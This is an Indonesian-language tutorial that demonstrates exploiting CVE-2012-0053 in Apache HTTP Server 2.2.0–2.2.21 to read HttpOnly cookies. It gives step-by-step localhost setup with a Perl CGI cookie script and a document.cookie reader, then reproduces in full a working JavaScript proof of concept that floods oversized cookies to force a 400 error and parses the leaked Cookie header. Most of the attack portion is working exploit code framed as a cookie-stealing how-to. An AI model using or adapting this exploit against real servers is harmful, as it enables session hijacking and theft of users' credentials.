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Cara Exploit Apache HTTPOnly Cookie

Pada Apache versi 2.20 sampai versi 2.2.21 terdapat kelemahan (vulnerable) sehingga attacker dapat melakukan exploit dengan cara mencuri cookie.

Info lengkap ada di :  http://www.securityfocus.com/bid/51706/discuss

“Apache HTTP Server is prone to an information-disclosure vulnerability. The issue occurs in the default error response for status code 400.
Successful exploits will allow attackers to obtain sensitive information that may aid in further attacks.
The vulnerability affects Apache HTTP Server versions 2.2.0 through 2.2.21.”

Berikut akan didemokan cara exploit melalui kelemahan apache tersebut
Langkah 1
Buat file perl dan letakkan di folder cgi-bin (di ubuntu: /usr/lib/cgi-bin):

#!/usr/bin/perl

use CGI;
use CGI::Cookie;

my $cgi = new CGI;
my $cookie = CGI::Cookie->new(-name=>'CVE20120053',
 -value => 'testcookie',
 -expires => '+3M',
 -domain => 'localhost',
 -path => '/',
 -secure => 0,
 -httponly => 0
);
print $cgi->header(-cookie=>$cookie);

Langkah 2

Buat file html untuk membaca cookie:

<html>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>

Langkah 3

Buka browser dan ketikkan url: http://localhost/cgi-bin/setcookie

Kita berhasil membuat cookie

Langkah 4

Buka browser dan ketikkan url: http://localhost/httponly/readcookie.html


Kita berhasil untuk membaca cookie dengan meng-injectkan javascript

Langkah 5

Edit file setcookie di cgi-bin folder dan set httponly ke 1

-httponly => 0

ganti nilainya dengan angka 1

-httponly => 1

Langkah 6

Buka browser lagi dan ketikkan url: http://localhost/httponly/readcookie.html


Kita gagal melakukan injeksi karena httponly-nya di enable.

Sebagaimana prolog diatas, kita akan melakukan injeksi cookie walaupun httponly-nya di enable

Langkah 7

Buat file injeksi dari http://www.exploit-db.com/exploits/18442/ sebagai berikut:

// Source: https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08
// Most browsers limit cookies to 4k characters, so we need multiple
function setCookies (good) {
    // Construct string for cookie value
    var str = "";
    for (var i=0; i< 819; i++) {
        str += "x";
    }
    // Set cookies
    for (i = 0; i < 10; i++) {
        // Expire evil cookie
        if (good) {
            var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
        }
        // Set evil cookie
        else {
            var cookie = "xss"+i+"="+str+";path=/";
        }
        document.cookie = cookie;
    }
}

function makeRequest() {
    setCookies();

    function parseCookies () {
        var cookie_dict = {};
        // Only react on 400 status
        if (xhr.readyState === 4 && xhr.status === 400) {
            // Replace newlines and match <pre> content
            var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
            if (content.length) {
                // Remove Cookie: prefix
                content = content[1].replace("Cookie: ", "");
                var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
                // Add cookies to object
                for (var i=0; i<cookies.length; i++) {
                    var s_c = cookies[i].split('=',2);
                    cookie_dict[s_c[0]] = s_c[1];
                }
            }
            // Unset malicious cookies
            setCookies(true);
            alert(JSON.stringify(cookie_dict));
        }
    }
    // Make XHR request
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = parseCookies;
    xhr.open("GET", "/", true);
    xhr.send(null);
}

makeRequest();
Langkah 8

Buka browser dan ketikkan url: http://localhost/httponly/readcookie2.html

Bingo! Kita dapat melakukan injeksi dengan memanfaatkan kelemahan pada Apache.

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